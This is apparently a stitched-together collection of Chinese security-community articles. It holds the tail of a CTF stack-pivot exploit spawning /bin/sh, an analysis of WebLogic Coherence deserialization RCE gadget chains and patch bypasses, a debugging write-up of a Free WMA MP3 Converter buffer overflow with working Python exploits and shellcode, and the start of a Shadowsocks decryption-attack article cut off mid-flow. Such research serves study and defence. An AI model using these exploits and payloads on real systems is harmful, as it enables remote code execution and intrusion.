puts_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
libc_base=puts_addr-libc.symbols['puts']
print(hex(libc_base))
#puts_addr=u64(r.recv(6)+b'\x00'*2)
#libc_base=put_addr-libc.symbols['puts']
ogs = [0xe3afe,0xe3b01,0xe3b04]
og = libc_base+ogs[0]
r12=libc_base+libc.search(asm('pop r12;ret;')).__next__()
io.recv()
pay3=b'a'*0x20+p64(bss+0x100)+p64(0x4011fd)
io.send(pay3)
pay4=b'a'*0x20+p64(bss+0x120)+p64(0x4011fd)
io.send(pay4)
payload=p64(bss+0x130)+p64(r12)+p64(0)+p64(og)
io.send(payload)
io.interactive()
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
'''
0x000000000040127c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040127e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401280 : pop r14 ; pop r15 ; ret
0x0000000000401282 : pop r15 ; ret
0x000000000040127b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040127f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040115d : pop rbp ; ret
0x0000000000401283 : pop rdi ; ret
0x0000000000401281 : pop rsi ; pop r15 ; ret
0x000000000040127d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
'''
## 参考
[栈平衡和栈迁移](https://cloud.tencent.com/developer/article/1740482?from=article.detail.1601192&areaSource=106000.5&traceId=Ru6KU_kQs-4u21SdsLkks
"栈平衡和栈迁移")
[PWN！栈迁移原理](https://cloud.tencent.com/developer/article/1601192 "PWN！栈迁移原理") | 社区文章 |
作者：白帽汇安全研究院@kejaly
校对：白帽汇安全研究院@r4v3zn
# 前言
Coherence 组件是 WebLogic 中的一个核心组件，内置在 WebLogic 中。关于 Coherence
组件的官方介绍：<https://www.oracle.com/cn/java/coherence/>
近些年，weblogic Coherence 组件反序列化漏洞被频繁爆出，苦于网上没有公开对 weblogic Coherence
组件历史反序列化漏洞的总结，导致很多想入门或者了解 weblogic Coherence 组件反序列化漏洞的朋友不知道该怎么下手，于是本文便对
weblogic Coherence 组件历史反序列化漏洞做出了一个总结和分析。
关于 Coherence 组件反序列化漏洞利用链的架构，我把他分为两个，一个是基于 `ValueExtractor.extract`
的利用链架构，另一个则是基于 `ExternalizableHelper` 的利用链架构。
# 前置知识
想理清 WebLogic 的 Coherence 组件历史反序列化漏洞需要首先了解一些 Coherence
组件反序列化漏洞中经常会涉及的一些接口和类。他们在 Coherence 组件反序列化漏洞利用中经常出现。
## ValueExtractor
`com.tangosol.util.ValueExtrator` 是一个接口：
在 Coherence 中 很多名字以 `Extrator` 结尾的类都实现了这个接口：
这个接口中声明了一个 `extract` 方法，而 `ValueExtractor.extract` 正是 Coherence 组件历史漏洞（
`ValueExtractor.extract` 链部分 ）的关键。
## ExternalizableLite
Coherence 组件中存在一个 `com.tangosol.io.ExternalizableLite`，它继承了
`java.io.Serializable`，另外声明了 `readExternal` 和 `writeExternal` 这两个方法。
`com.tangosol.io.ExternalizableLite` 接口 和 jdk 原生的 `java.io.Externalizable`
很像，注意不要搞混了。
## ExternalizableHelper
上面提到的 `com.tangosol.io.ExternalizableLite` 接口的实现类的序列化和反序列化操作，都是通过
`ExternalizableHelper` 这个类来完成的。
我们可以具体看 `ExternalizableHelper` 这个类是怎么对实现 `com.tangosol.io.ExternalizableLite`
接口的类进行序列化和反序列化的，这里以 `readObject` 方法为例，`writeObject` 读者可自行去查看：
如果传入的`DataInput` 不是 `PofInputStream` 的话（Coherence 组件历史漏洞 涉及到的
`ExternalizableHelper.readObject` 传入的 `DataInput` 都不是
`PofInputStream`），`ExternalizableHelper#readObject` 中会调用
`ExternalizableHelper#readObjectInternal` 方法：
`readObjectInternal` 中会根据传入的中 `nType` 进行判断，进入不同的分支：
对于实现 `com.tangosol.io.ExternalizableLite` 接口的对象，会进入到 `readExternalizableLite`
方法：
可以看到在 `readExternalizableLite` 中 1125 行会根据类名加载类，然后并且实例化出这个类的对象，然后调用它的
`readExternal()` 方法。
# 漏洞链
## ValueExtractor.extract
我们在分析反序列化利用链的时候，可以把链分为四部分，一个是链头，一个是危险的中间的节点（漏洞点），另一个是调用危险中间节点的地方（触发点），最后一个则是利用这个节点去造成危害的链尾。
在 Coherence 组件 `ValueExtractor.extract` 利用链架构中，这个危险的中间节点就是
`ValueExtractor.extract` 方法。
### 漏洞点
#### ReflectionExtractor
`ReflectionExtractor` 中的 `extract` 方法含有对任意对象方法的反射调用：
配合 `ChainedExtractor` 和 `ConstantExtractor` 可以实现类似 cc1 中的 `transform` 链的调用。
##### 涉及 CVE
CVE-2020-2555，CVE-2020-2883
#### MvelExtractor
`MvelExtrator` 中的 `extract` 方法，会执行任意一个 MVEL 表达式（RCE）：
而在序列化和反序列化的时候 `m_sExpr` 会参与序列化和反序列化：
所以 `m_xExpr` 可控，所以就导致可以利用 `MvelExtrator.extrator` 来达到执行任意命令的作用。
##### 涉及 CVE
CVE-2020-2883
#### UniversalExtractor
`UniversalExtractor`（Weblogic 12.2.1.4.0 独有） 中的 `extract` 方法，可以调用任意类中的的 `get`
和 `is` 开头的无参方法，可以配合 `jdbsRowset`，利用 JDNI 来远程加载恶意类实现 RCE。
具体细节可以参考：<https://nosec.org/home/detail/4524.html>
##### 涉及 CVE
CVE-2020-14645，CVE-2020-14825 ， CVE-2020-14841
#### LockVersionExtractor
`oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor`
中的 `extract()` 方法，可以调用任意 `AttributeAccessor` 的 `getAttributeValueFromObject`
方法，赋值 `Accessor` 为 `MethodAttributeAccessor` 进而可以实现调用任意类的无参方法。
具体细节可参考：<https://cloud.tencent.com/developer/article/1740557>
**`MethodAttributeAccessor.getAttributeValueFromObject`**
，本质是利用`MethodAttributeAccessor.getAttributeValueFromObject`中存在任意无参方法调用，在
CVE-2021-2394 中也利用到了。
##### 涉及 CVE
CVE-2020-14825 ， CVE-2020-14841
#### FilterExtractor.extract
`filterExtractor.extract` 中存在任意
`AttributeAccessor.getAttributeValueFromObject(obj)` 的调用，赋值
this.attributeAccessor 为上面说的`MethodAttributeAccessor` 就可以导致任意无参方法的调用。
关于 `readAttributeAccessor` 的细节可以看
CVE-2021-2394：<https://blog.riskivy.com/weblogic-cve-2021-2394-rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/> 和
<https://www.cnblogs.com/potatsoSec/p/15062094.html> 。
##### 涉及 CVE
CVE-2021-2394
### 触发点
上面例举出了很多危险的 `ValueExtractor.extract` 方法，接下来再看看哪里存在调用 `ValueExtractor.extract`
方法的地方。
#### Limitfiler
Limitfiler 中 `Limitfiler.toString` 中存在任意 `ValueExtractor.extract` 方法调用：
由于 `this.m_comparator` 参与序列化和反序列化，所以可控：
我们只需要赋值 `this.m_comparator` 为 恶意的 `ValueExtractor` 就可以实现任意 `ValueExtractor
.extract` 方法的调用。`toString` 方法，则可以利用 CC5 中用到的 `BadAttributeValueExpException`
来触发。
##### 涉及 CVE
CVE-2020-2555
#### ExtractorComparator
`ExtractorComparator.compare` ，其实是针对 CVE-2020-2555 补丁的绕过，CVE-2020-2555
的修复方法中修改了 `Limitfiler.toString` 方法，也就是说修改了一个调用 `ValueExtractor.extract` 方法的地方。
而 CVE-2020-2883 则找到另一个调用 `ValueExtractor.extract` 的地方，也就是
`ExtractorComparator.compare` 。
在`ExtratorComparator.compare` 中存在任意（因为 `this.m_extractor` 参与序列化和反序列化）
`ValueExtractor` 的 `extract` 方法调用。
`Comparator.compare 方法，则可以通过 CC2 中用到的`PriorityQueue.readObject` 来触发。
另外在 weblogic 中， `BadAttributeValueExpException.readObject` 中也可以实现调用任意
`compartor.compare`方法：
##### 涉及 CVE
CVE-2020-2883，修复方法是将 `ReflectionExtractor` 和 `MvelExtractor` 加入了黑名单 。
CVE-2020-14645 使用 `com.tangosol.util.extractor.UniversalExtractor` 绕过，修复方法将
`UniversalExtractor` 加入黑名单。
CVE-2020-14825，CVE-2020-14841 使用
`oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor.LockVersionExtractor`
进行绕过。
## ExternalizableHelper
在分析`ExternalizableHelper`
利用链架构的时候，我们依然可以把链分为四部分，一个是链头，一个是危险的中间的节点（漏洞点），另一个是调用危险中间节点的地方（触发点），最后一个则是利用这个节点去造成危害的链尾。
在 `ExternalizableHelper` 利用链架构中，这个危险的中间节点就是 `ExternalizableLite.readExternal`
方法。
weblogic 对于反序列化类的过滤都是在加载类时进行的，因此在
`ExternalizableHelper.readExternalizableLite` 中加载的 class 是不受黑名单限制的。
具体原因是：weblogic 黑名单是基于 jep 290 ，jep 290 是在 `readObject`
的时候，在得到类名后去检查要反序列化的类是否是黑名单中的类。而这里直接使用的 `loadClass` 去加载类，所以这里不受 weblogic
黑名单限制。（也可以这么理解： jep 290 是针对在反序列化的时候，通过对要加载类进行黑名单检查。而这里直接通过 `loadClass`
加载，并没有通过反序列化，和反序列化是两码事，当然在后续 `readExternal` 的时候还是受 weblogic
黑名单限制，因为走的是反序列化那一套）
weblogic
黑名单机制可以参考：<https://cert.360.cn/report/detail?id=c8eed4b36fe8b19c585a1817b5f10b9e，https://cert.360.cn/report/detail?id=0de94a3cd4c71debe397e2c1a036436f，https://www.freebuf.com/vuls/270372.html>
### 漏洞点
#### PartialResult
`com.tangosol.util.aggregator.TopNAggregator.PartialResult` 的 `readExternal`
会触发任意 `compartor.compare` 方法。
大致原理：
在 149 行会把 m_comparator 作为参数传入 TreeMap 的构造函数中。
然后 153 行，会调用 this.add ,this.add 会调用 this.m_map.put 方法，也就是说调用了 TreeMap 的 put 方法，这就导致了 comparator.compare()的调用。
具体分析见：<https://mp.weixin.qq.com/s/E-4wjbKD-iSi0CEMegVmZQ>
然后调用 `comparator.compare` 就可以接到 `ExtractorComparator.compare` 那里去了，从而实现 rce 。
##### 涉及 CVE
###### CVE-2020-14756 （1月）
`ExternalizableHelper` 的利用第一次出现是在 CVE-2020-14756 中。利用的正是
`ExternalizableHelper` 的反序列化通过 `loadClass` 加载类，所以不受 weblogic
之前设置的黑名单的限制。具体利用可以参考：<https://mp.weixin.qq.com/s/E-4wjbKD-iSi0CEMegVmZQ>
CVE-2020-14756 的修复方法则是对 `readExternalizable` 方法传入的 `Datainput` 检查，如果是
`ObjectInputStream` 就调用 checkObjectInputFilter() 进行检查，`checkObjectInputFilter`
具体是通过 jep290 来检查的。
###### CVE-2021-2135 （4月）
上面补丁的修复方案 只是检查了 `DataInput` 为 `ObjectInputStream` 的情况, 却没有过滤其他 `DataInput` 类型
。
那我们只需要找其他调用 `readExternalizableit` 函数的地方,并且传入的参数不是 `ObjectInputStream`
就可以了。【`ObjectInputStream` 一般是最常见的,通常来说是 `readObject` =>`readObjectInternal`
=>`readExternalizableite` 这种链,也就是上游是常见的 `readObject`,
所以补丁就可能只注意到ObjectInputStream 的情况。】
所以CVE-2021-2135 绕过的方法就是设置传入 `readExternalizableite` 函数的参数类型为 `BufferInput`
来进行绕过。
`ExternalizableHelper` 中调用 `readObjectInternal` 的地方有两处,一处是
`readObjectInternal` , 另一处则是 `deserializeInternal` 。而 deserializeInternal 会先把
`DataInput` 转化为 `BufferInut` ：
所以只要找调用 `ExternalizableHelper .deserializeInternal` 的地方。
而 `ExternalizableHelper.fromBinary` （和 `ExternalizableHelper.readObject` 平级的关系
）里就调用了 `deserializeInternal` , 所以只需要找到一个地方用 来
`ExternalizableHelper.fromBinary` 来反序列化就可以接上后面的（CVE-2020-14756）利用链了。
然后就是找 调用了 `ExternalizableHelper.fromBinary` 的方法的地方。`SimpleBinaryEntry` 中的
`getKey` 和 `getValue`方法中存在 `ExternalizableHelper.fromBinary` 的调用，所以就只要找到调用
`getKey` 和 `getValue` 的地方就可以了。
然后在 `com.sun.org.apache.xpath.internal.objects.XString`重写的`equals`方法里调用了
`tostring` ，在 `tostring` 中调用了 `getKey` 方法。
`ExternalizableHelper#readMap` 中会调用 `map.put` ，`map.put` 会调用 `equals` 方法。
`com.tangosol.util.processor.ConditionalPutAll` 的 `readExteranl` 中调用了
`ExternalizableHelper#readMap` 方法。
然后再套上 `AttributeHolder` 链头就可以了。
具体可以参考：<https://mp.weixin.qq.com/s/eyZfAPivCkMbNCfukngpzg>
4月补丁修复则是将`simpleBianry`添加到了黑名单。
#### filterExtractor
`filterExtractor.reaExternal` 方法中的 `readAttributeAccessor()` 方法会直接 `new` 一个
`MethodAttributeAccessor` 对象。
随后在 `filterExtractor.extract` 函数中会因为调用
`this.attributeAccessor.getAttributeValueFromObject` 进而导致任意无参方法的调用。
##### 涉及 CVE
###### CVE-2021-2394 （4月）
在4月的补丁中，对 ois 的 `DataInput` 流进行了过滤，所以直接通过 `newInstance`
实例化恶意类的方式已经被阻止（CVE-2021-2135 通过 `bufferinputStream` 进行了绕过），所以需要重新寻找其他不在黑名单中的
`readExternal` 方法。
CVE-2021-2394 中就是利用 `filterExtractor.readExternal` 来进行突破。
具体可以参考：<https://blog.riskivy.com/weblogic-cve-2021-2394-rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/> 和
<https://www.cnblogs.com/potatsoSec/p/15062094.html>
### 触发点
`ExternalizableHelper.readExternal` 的触发点有 `ExternalizableHelper.readObject` 和
`ExternalizableHelper.fromBinary` 这两个。其中 CVE-2021-2135 则就是因为在 CVE-2020-14756
的修复方法中，只注意到了 `ExternalizableHelper.readObject`
，只在`ExternalizableHelper.readObject` 里面做了限制，但是没有考虑到
`ExternalizableHelper.fromBinary` 从而导致了绕过。
`ExternalizableHelper.readObject`可以利用
`com.tangosol.coherence.servlet.AttributeHolder`来触发，`com.tangosol.coherence.servlet.AttributeHolder`
实现了 `java.io.Externalizabe` 接口，并且他的`readExternal` 方法 调用了
`ExternalizableHelper.readObject(in)` 。
`ExternalizableHelper.fromBinary`
的触发则较为复杂一些，具体可以参考：<https://mp.weixin.qq.com/s/eyZfAPivCkMbNCfukngpzg>
# 后记
weblogic Coherence 反序列化漏洞很多都是相关联的，对于某个漏洞，很可能就是用到了之前一些漏洞的链子。其实不仅仅 weblogic
，java
其他反序列化链也是如此，很多情况都是一个链会用到其他链的一部分。所以在学习中，把一个组件或者一个库的漏洞总结起来一起分析还是比较重要的，最后希望这篇文章能帮助到其他一起学反序列化的朋友们。
# 参考
<https://nosec.org/home/detail/4524.html>
<https://cloud.tencent.com/developer/article/1740557>
<https://blog.riskivy.com/weblogic-cve-2021-2394-rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/>
<https://www.cnblogs.com/potatsoSec/p/15062094.html>
<https://cert.360.cn/report/detail?id=c8eed4b36fe8b19c585a1817b5f10b9e>
<https://cert.360.cn/report/detail?id=0de94a3cd4c71debe397e2c1a036436f>
<https://www.freebuf.com/vuls/270372.html>
<https://mp.weixin.qq.com/s/E-4wjbKD-iSi0CEMegVmZQ>
<https://mp.weixin.qq.com/s/eyZfAPivCkMbNCfukngpzg> | 社区文章 |
## 简介
### 调试环境
winxp sp3、windbg、ollydbg、IDA
软件下载地址https://www.exploit-db.com/apps/21fdca9b7d302479e989b9d062a276df-FWMCSetup.exe
### 软件简介
Free WMA MP3 Converter，Windows系统上，一个免费的媒体格式转换器。
### 调试简介
此漏洞发生在FWMCon.exe的sub_4B0FF4函数由于转换文件格式时，复制音频文件时对音频文件的长度没有进行有效检查，从而导致了缓冲区溢出的发生
这个漏洞是复现学长的漏洞，原文链接见文末。这个漏洞原先调试过一遍，但是第一遍的时候迷迷糊糊的，搞了两天就放弃了，今天看到我同学辉哥的复现学长的博客发现，竟然看懂了，就自己动手复现了一遍。
## POC
学长提供的EXP
import struct
def little_endian(address):
return struct.pack("<L",address)
poc="\x41" * 4112
eip=little_endian(0x0045CD1A)#0045CD1A FFE4 JMP ESP
nops="\x90" * 80
shellcode=("\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38"
"\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf"
"\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49"
"\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c"
"\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda"
"\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46"
"\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66"
"\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42"
"\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6"
"\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35"
"\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b"
"\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2"
"\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52"
"\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55"
"\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b"
"\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37"
"\x8b\x15\x7b\xd2\x2b\xbf\x83")
exploit = poc + eip + nops + shellcode
try:
rst= open("bof_WMA MP3 Converter.wav",'w')
rst.write(exploit)
rst.close()
except:
print "Error"
为了方便分析，先简化成POC先
import struct
poc="\x41" * 4112
eip="\x41" * 4
nops="\x41" * 80
shellcode="\x41"*100
exploit = poc + eip + nops + shellcode
try:
rst= open("bof_WMA MP3 Converter.wav",'w')
rst.write(exploit)
rst.close()
except:
print "Error"
## 调试分析
首先用windbg打开Free WMA MP3 Converter程序，输入g命令，运行程序，用程序加载POC文件`bof_WMA MP3
Converter.wav`，程序崩溃，windbg定位到崩溃现场。
(1f4.108): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=000010c8 edx=000010c8 esi=41414141 edi=41414141
eip=41414141 esp=01e3fee8 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
41414141 ?? ???
然后kb看一下栈回溯
0:005> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
01e3fee4 41414141 41414141 41414141 41414141 0x41414141
01e3ffa0 00404172 01e3ffdc 00403cc8 01e3ffb4 0x41414141
01e3ffb4 7c80b713 00ba83cc 00000000 e7ffffff image00400000+0x4172
01e3ffec 00000000 00404148 00ba83cc 00000000 kernel32!GetModuleFileNameA+0x1b4
可以看出最上层函数的数据明显已经被完全破覆盖了，所以我们从第二个方法开始调试，其返回地址是`00404172`，我们从IDA中找到它的上一个位置`00404170`。
重新运行程序，并且用ollydbg在`00404170`位置设置断点。运行程序，停在`00404170`位置。
`00404170 ffd2 call edx {image00400000+0x21a38 (00421a38)}`
这条指令call了一个`00421a38`位置的函数，那我们单步步入该函数，不断的单步执行。当运行过
`00421a6c ff5204 call dword ptr [edx+4] ds:0023:004ac400=004ad250`
的时候程序崩溃，说明问题出在，该条指令调用的`004ad250`位置的函数中，重新运行程序，并在`004ad250`处设置断点，进入该函数后，单步执行，重复上述过程，就会一次碰到这些函数
00404170 ffd2 call edx {image00400000+0x21a38 (00421a38)}
00421a6c ff5204 call dword ptr [edx+4] ds:0023:004ac400=004ad250
004ad284 ff523c call dword ptr [edx+3Ch] ds:0023:004b3f6c=004b4274
004b42c1 e8728dffff call image00400000+0xad038 (004ad038)
004ad067 ff5244 call dword ptr [edx+44h] ds:0023:004aebc0=004ad710
004ad771 ff5268 call dword ptr [edx+68h] ds:0023:004aebe4=004af5fc
004af66f e880190000 call image00400000+0xb0ff4 (004b0ff4)
当进入最后一个`004b0ff4`位置的函数时，单步执行就会发现，当代码执行到一个阶段的时候就会不断的循环(这一部分用Ollydbg看会比较明显)。
这个循环是`loc_4b102f,loc_4b14b9,loc_4b14e3`这三个函数的互相调用，功能是循环把.wav文件中的数据读入，但是并没有进行文件长度的检查。这个功能可以通过查看ESP中的内容来了解。
第5轮循环：
0:005> p
eax=00000001 ebx=00000005 ecx=7c80189c edx=00000001 esi=00bb301c edi=00000000
eip=004b14bd esp=0194eec8 ebp=004ac384 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
image00400000+0xb14bd:
004b14bd 7424 je image00400000+0xb14e3 (004b14e3) [br=0]
0:005> dd esp
0194eec8 00000000 00000000 00000000 41414141
0194eed8 00000041 00000000 00000000 00000000
0194eee8 00000000 00000000 00000000 00000000
0194eef8 00000000 00000000 00000000 00000000
0194ef08 00000000 00000000 00000000 00000000
0194ef18 00000000 00000000 00000000 00000000
0194ef28 00000000 00000000 00000000 00000000
0194ef38 00000000 00000000 00000000 00000000
第6轮循环：
0:005> p
eax=00000001 ebx=00000006 ecx=7c80189c edx=00000001 esi=00bb301c edi=00000000
eip=004b14bd esp=0194eec8 ebp=004ac384 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
image00400000+0xb14bd:
004b14bd 7424 je image00400000+0xb14e3 (004b14e3) [br=0]
0:005> dd esp
0194eec8 00000000 00000000 00000000 41414141
0194eed8 00004141 00000000 00000000 00000000
0194eee8 00000000 00000000 00000000 00000000
0194eef8 00000000 00000000 00000000 00000000
0194ef08 00000000 00000000 00000000 00000000
0194ef18 00000000 00000000 00000000 00000000
0194ef28 00000000 00000000 00000000 00000000
0194ef38 00000000 00000000 00000000 00000000
从上面的信息可以看出，每执行一轮，就会读入一个字符，并且EBX会记录执行的次数，就是读入的的字符数目。
使用条件断点，执行到文件末尾的位置。从POC中可以看出.wav文件的长度是(4112+4+80+100)=4296=10C8H，所以我们可以设置到EBX=10C4的位置。
`bp 004b14e9 ".if(ebx==10c4){;}.else{g;}`
下面是执行记录
0:005> bp 004b14e9 ".if(ebx==10c4){;}.else{g;}"
0:005> dd esp
0194eec8 00000000 00000000 00000000 41414141
0194eed8 00004141 00000000 00000000 00000000
0194eee8 00000000 00000000 00000000 00000000
0194eef8 00000000 00000000 00000000 00000000
0194ef08 00000000 00000000 00000000 00000000
0194ef18 00000000 00000000 00000000 00000000
0194ef28 00000000 00000000 00000000 00000000
0194ef38 00000000 00000000 00000000 00000000
0:005> g
eax=00000000 ebx=000010c4 ecx=000010c4 edx=000010c8 esi=00bb301c edi=00000000
eip=004b14e9 esp=0194eec8 ebp=004ac384 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
image00400000+0xb14e9:
004b14e9 0f8c40fbffff jl image00400000+0xb102f (004b102f) [br=1]
0:005> dd esp
0194eec8 00000000 00000000 00000000 41414141
0194eed8 41414141 41414141 41414141 41414141
0194eee8 41414141 41414141 41414141 41414141
0194eef8 41414141 41414141 41414141 41414141
0194ef08 41414141 41414141 41414141 41414141
0194ef18 41414141 41414141 41414141 41414141
0194ef28 41414141 41414141 41414141 41414141
0194ef38 41414141 41414141 41414141 41414141
可以明显看出，此时站空间已经被完全覆盖了。而且上面循环拷贝的三个函数`loc_4b102f,loc_4b14b9,loc_4b14e3`，均处于`004b0ff4`函数中，那么该函数就是漏洞函数。
## 漏洞利用
上面是确定，漏洞的位置和漏洞的成因，接下来分析怎么利用，就是分析文章开头提供的EXP。
在IDA中查找`004b0ff4`位置。
图中箭头所指的参数的含义是，该函数从栈底1010h处开始存储变量。所以该位置到EBP的偏移是1010H，即4112个字符，就是EXP中的`poc="\x41"
* 4112`，填充完字符以后，紧接着的四个字符的位置就是返回地址的位置，该EXP使用的是jmp esp的方法，所以后面的字符指向FFE4中的jmp
esp的位置。
shellcode的作用是弹出计算器，nops抬高栈顶，保护shellcode。但是这里我在实际运行的时候出现了一个问题，就是当nops的数量设置为10~30的时候会弹出计算器，并且崩溃，当0~10或者30~80的时候，就只是崩溃，应该是shellcode被破坏了。具体的情况还有待探究。
所以我最后的EXP是
import struct
def little_endian(address):
return struct.pack("<L",address)
poc="\x41" * 4112
eip=little_endian(0x0045CD1A)#0045CD1A FFE4 JMP ESP
nops="\x90" * 20
shellcode=("\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38"
"\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf"
"\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49"
"\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c"
"\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda"
"\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46"
"\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66"
"\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42"
"\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6"
"\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35"
"\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b"
"\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2"
"\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52"
"\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55"
"\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b"
"\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37"
"\x8b\x15\x7b\xd2\x2b\xbf\x83")
exploit = poc + eip + nops + shellcode
try:
rst= open("bof_WMA MP3 Converter.wav",'w')
rst.write(exploit)
rst.close()
except:
print "Error"
## 参考
[学长的博客原文](https://whereisk0shl.top/post/2016-12-07). | 社区文章 |
**作者：LeadroyaL
原文链接：[https://www.leadroyal.cn/p=1036&from=groupmessage&isappinstalled=0](https://www.leadroyal.cn/p=1036&from=groupmessage&isappinstalled=0)**
2020年2月12日，Zhiniang Peng 在 github 上公开了对于
[shadowsocks](http://https://github.com/edwardz246003/shadowsocks.git
"shadowsocks") 的攻击理论,在阅读完作者的文档后获益匪浅，但 github
中主要是理论，代码和场景写的描述的非常混乱，本文亲自演示一遍整个流程，把整个攻击演示的更清楚。
感谢 chenyuan 的帮助和交流。
本文的全部代码位于：<https://github.com/LeadroyaL/ss-redirect-vuln-exp>
## 一、背景
情景假设：
1. client 的网络是不安全的，攻击者可以监听 client 所有的流量；
2. server 的网络是安全的
3. server 长期存活。
漏洞危害（个人观点）：
1. 对于加密后的 HTTP Response，攻击者可以解密所有的返回包，严谨一点，是 Response 的绝大部分数据
2. 对于某个加密后的 HTTP Request，如果攻击者猜中了域名，攻击者就可以解密该 Request，严谨一点，是Request的绝大部分数据
3. 对于某个加密后的 HTTPS Request，如果攻击者猜中了域名，攻击者就可以确认该 Request 确实属于该域名
本文以 python 版的 ss 和 AES-CFB-256为例，讲述一下上面这三种攻击方式。
## 二、整体逻辑
浏览器使用 socks5代理，将数据发给 sslocal服务，sslocal 将数据加密后传递给 ssserver，ssserver
解密数据，访问指定资源，返回加密的数据，sslocal 再解密返回给浏览器。
整个过程比较容易理解，接下来通过阅读代码的方式讲一下整个流程，着重看数据拼接和加密部分。
### sslocal发包流程：
tcpRelay.py 中，类TCPRelayHandler 构造方法里，主动创建 Encryptor结构体。
Encryptor 结构体初始化时，使用 config 里的“PASS”密钥，作为种子，生成真正的 key，将来长期使用，随机产生
rand_iv，在当前数据包中使用。
使用命令 `curl --socks5 127.0.0.1:1080 http://a.baidu.com`，使用socks5 代理，尝试访问
a.baidu.com。
tcpRelay.py中， `_handle_stage_addr` 收到socks5
的协议头，稍加解析和验证，将该数据使用`AES.update(socks5Header)`
tcpRelay.py 中，`_handle_stage_connecting` 收到 HTTP 请求的数据，并将改数据使用
`AES.update(httpRequest)`
最终组合好的明文数据是：
`data = sock5Header + httpRequest`
最终发给服务器最后的数据是：
`rand_iv + AES-cfb(key, rand_iv, data)`
ssserver收包过程省略、ssserver 发包过程省略
### sslocal收包
tcpRelay.py 中， _on_remote_read 收到了 ssserver 返回的数据，前 16 字节是server 生成的
rand_iv2，后面的数据是密文，解密后就是返回包的内容。
相当于：
`httpResponse = AES-cfb(key, rand_iv2, recv_data)`
